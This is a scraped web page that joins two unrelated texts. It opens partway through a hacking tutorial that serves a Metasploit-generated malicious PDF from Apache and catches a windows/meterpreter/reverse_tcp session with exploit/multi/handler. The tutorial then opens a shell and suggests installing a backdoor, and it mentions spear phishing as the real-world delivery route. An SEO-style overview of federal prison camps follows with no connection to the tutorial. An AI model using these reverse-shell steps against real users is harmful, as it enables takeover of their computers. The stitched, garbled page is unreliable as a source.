As we can see the file is generated and we are given the path to the file in our file system. Next we need to move the PDF file to our web application server folder. But before that let’s start up the web server.
sudo service apache2 start
And then move our file to that server.
mv /root/.msf4/local/payroll.pdf /var/www/html
Once we have all that done we just need to set up our listener on a certain port on our Kali machine.
use exploit/multi/handler
Then set the payload like we did for the PDF file.
set payload windows/meterpreter/reverse_tcp
And then set the LHOST with our Kali IP again.
set LHOST 192.168.1.20
show options
So 4444 will be the port our attacking machine will be listening on for incoming connections. Now we just need to run it.
run
So now we have the payload handler set up and running.
What a real hacker would do now is to send the PDF file via email, like a spear phishing attack to get the Windows user to download it. But we are white hat hackers, so we will just visit the web server from our Windows machine and download the file.
On Windows, open up a browser and in the URL type 192.168.1.20/payroll.pdf. When the Windows user does this they are prompted to save a template file.
Once the user downloads the file they will go ahead and open it. Once the user opens the file we can go back to our Metasploit framework and see that we have a Meterpreter session open.
BOOM!! we have full control of the Windows machine.To get a shell on the Windows machine to access the file system we can just use the shell command.
shell
From here we can install some software or a backdoor. That’s up to you what to do next.
That’s it for today people, we hope you enjoyed this tutorial. Please leave a like if you did and consider following us for more Linux tutorials.
Also, please consider supporting ls /blog by donating below, we cannot do these posts without your help, thanks in advance 🙂
QuBits 2020-06-18
Navigating FPC Pensacola: A Comprehensive Overview For Families – NoobsLab
Federal Prison Camps, often called FPCs, are a significant component of the United States federal prison system. These facilities serve as low-security, minimum-security, and even “camp” institutions within the Federal Bureau of Prisons. If you’re curious about the purpose, conditions, and key features of these federal prison camps, this article provides a comprehensive overview.
Understanding Federal Prison CampsFederal Prison Camps, often abbreviated as FPCs, are a distinct category of correctional facilities within the United States federal prison system. These institutions are designed to serve as low-security and minimum-security facilities that house federal inmates.To understand Federal Prison Camps’ purpose, key features, and the types of inmates they typically house.
Purpose Of FPCsFederal Prison Camps (FPCs) primarily aim to incarcerate federal inmates in a low-security and minimum-security environment while focusing on rehabilitation and reintegration into society.Here are the key purposes of FPCs:Housing Low-Risk Inmates: FPC Pensacola camps are designed to house federal inmates classified as low-security risks. These are typically convicted of non-violent offenses, such as white-collar crimes, drug-related offenses, and other non-violent violations of federal law. By segregating low-risk inmates in FPCs, the Federal Bureau of Prisons (BOP) can allocate higher-security facilities to those with a history of violence or a higher risk of escape.Emphasis on Rehabilitation: FPCs strongly emphasize rehabilitation and preparing inmates for reintegration into society. Inmates in FPCs are provided opportunities for education, vocational training, and work assignments. These programs are intended to help inmates acquire valuable skills and knowledge that can increase their chances of success upon release. FPCs aim to reduce the likelihood of inmates reoffending by offering rehabilitation and education.Lower Security Measures: Compared to medium-security and high-security federal prisons, FPCs have fewer security measures and physical barriers. Inmates at FPCs typically have more freedom of movement within the facility and fewer restrictions on their daily routines. This environment is more conducive to preparing inmates for life outside of prison.Community-Based Reentry: FPCs often serve as transition points for inmates closer to release dates. The lower-security environment allows for a gradual reentry into society, enabling inmates to rebuild their lives and reestablish connections with their families and communities.Minimum Violent Offenders: While FPCs may house individuals convicted of various offenses, they primarily focus on non-violent offenders. Inmates with a history of violent crimes or those deemed to be higher security risks are typically not placed in FPCs.
Security LevelsIn the U.S. federal prison system, including Federal Prison Camps (FPCs), security levels are used to classify facilities based on their level of security and the type of inmates they house. These security levels help ensure inmates are placed in facilities that match their security risk and the nature of their offenses.
Here’s an overview of the security levels in the federal prison system:
High-Security (United States Penitentiaries – USPs)High-security federal prisons are designed to house the most dangerous and violent offenders. These facilities have the highest security measures, including multiple perimeter fences, armed guards, and stringent access controls. Inmates in USPs often have a history of violent crimes or pose a significant security risk. The goal is to prevent escapes and maintain strict control over the inmate population.
Medium-Security (Federal Correctional Institutions – FCIs)Medium-security federal prisons house inmates with moderate security risk. These facilities have fewer security measures than high-security prisons but maintain a secure environment. Inmates in FCIs may have a mix of offenses, including some non-violent and white-collar crimes.
Low-Security (Federal Prison Camps – FPCs)Low-security federal prisons, such as Federal Prison Camps (FPCs), house inmates with a lower security risk. These facilities have more relaxed security measures designed for non-violent and low-risk offenders. Inmates in FPCs often have shorter sentences and may be involved in work and education programs to prepare for reintegration into society.
Minimum-Security (Federal Prison Camps – FPCs)Some FPCs are classified as minimum-security facilities. These institutions have the lowest security measures and typically house non-violent offenders close to their release dates. Inmates in minimum-security FPCs have the most freedom of movement and may be involved in community-based programs as they prepare for reentry.
Administrative (Administrative United States Penitentiaries – ADXs)Administrative federal prisons are the highest level of security in the federal system. They house inmates deemed extremely dangerous or pose a significant security threat. ADXs are known for their strict control and isolation measures.
Special Management (Special Management Units – SMUs)SMUs are units within other federal prisons designed to house inmates with behavioral issues or security concerns. Inmates in SMUs may have restrictions on their movements and interactions.
Work And Education ProgramsWork and education programs play a significant role in the rehabilitation and reintegration efforts of the U.S. federal prison system, including Federal Prison Camps (FPCs). These programs are designed to provide inmates with valuable skills, education, and work experience to increase their chances of successful reentry into society. Here’s an overview of work and education programs in federal prisons:Work ProgramsVocational Training: Inmates in federal prisons, including FPCs, often have access to vocational training programs. These programs teach practical skills such as carpentry, electrical work, and plumbing. The goal is to equip inmates with marketable skills that can lead to employment opportunities upon release.Prison Industries: Federal prisons may have prison industries programs where inmates can work in manufacturing, agriculture, or service-oriented roles. These programs allow inmates to earn a modest income and gain work experience. Products produced through prison industries are sometimes sold to government agencies and nonprofit organizations.Community Work Details: Inmates may be assigned to community work details, where they perform maintenance, cleaning, and landscaping in and around the prison facility. These details help inmates develop a strong work ethic and contribute to maintaining the prison grounds.Education-Based Work: Some work programs are tied to education. Inmates can work as teacher aides or tutors, helping fellow inmates with their education. This fosters a sense of community and encourages education within the prison population.
Education ProgramsAdult Basic Education (ABE): Federal prisons offer ABE programs that focus on basic literacy and numeracy skills. Inmates who did not complete their high school education can work towards obtaining a General Educational Development (GED) certificate.Secondary Education: Besides ABE programs, federal prisons provide access to secondary education courses, allowing inmates to complete high school diplomas or equivalent certificates.Post-Secondary Education: Some FPCs offer post-secondary education opportunities, including college-level courses. Inmates can earn college credits or even complete degrees in various fields. This can be particularly beneficial for their post-release employment prospects.Life Skills and Reentry Programs: Many federal prisons provide courses on life skills, personal finance, parenting, and reentry preparation. These programs aim to equip inmates with the knowledge and skills necessary to transition into society successfully.Library Access: Inmates have access to prison libraries, which contain educational materials, books, and resources that support self-directed learning and research.
Work And Education Programs Serve Multiple PurposesRehabilitation: They help inmates acquire new skills and knowledge, fostering personal growth and development.Reintegration: Equipped with education and work experience, inmates are better prepared to find employment and reintegrate into society upon release.Reducing Recidivism: By addressing the root causes of criminal behavior and offering opportunities for personal improvement, these programs aim to reduce the likelihood of inmates returning to a life of crime.Institutional Order: Inmates who participate in structured programs are often more focused, engaged, and less likely to engage in disruptive behaviors within the prison environment.
Key CharacteristicsLow SecurityFPCs are categorized as low-security facilities. This means they have fewer security measures and barriers than medium- and high-security prisons. While security protocols are in place, such as perimeter fencing, inmate movement is generally less restricted. Inmates may have more opportunities for movement within the camp.
Minimal Violent OffendersFederal Prison Camps primarily house non-violent offenders. The BOP uses a classification system to determine an inmate’s security level and assigns them to an appropriate facility. As a result, FPCs are not typically home to individuals convicted of violent crimes.
Work And Education ProgramsOne of the defining features of FPCs is the emphasis on rehabilitation through work and education programs. Inmates at these facilities often have the opportunity to participate in vocational training, educational courses, and work assignments. This is intended to help them develop skills that may be beneficial upon release and reduce the likelihood of recidivism.
Limited Personal PropertyInmates in FPCs may have limited personal property and often share living quarters. The emphasis on minimal personal property helps maintain order and security within the camp.
Life In A Federal Prison CampInmates at Federal Prison Camps experience a different daily routine than those in higher-security facilities. While there are strict schedules and rules, life in an FPC can be less controlled. Inmates may have more freedom to move about the camp, engage in work or educational activities, and participate in self-improvement programs.
Eligibility For Federal Prison CampsThe BOP determines an inmate’s eligibility for placement in an FPC based on various factors, including the offense’s nature, the sentence’s length, and an individual’s criminal history. Typically, non-violent offenders with shorter sentences are considered for placement in an FPC.
ConclusionFederal Prison Camps serve a specific role within the federal prison system, providing a lower-security environment for non-violent offenders. While they have fewer security measures, the emphasis on rehabilitation, education, and work programs is significant. Inmates in FPCs are expected to take advantage of these opportunities to prepare for their eventual release and reintegration into society.Understanding the purpose and characteristics of Federal Prison Camps is essential for inmates, their families, legal professionals, and anyone interested in the U.S. federal prison system. These institutions play a crucial role in the federal correctional system’s efforts to balance security with rehabilitation and reentry into society.
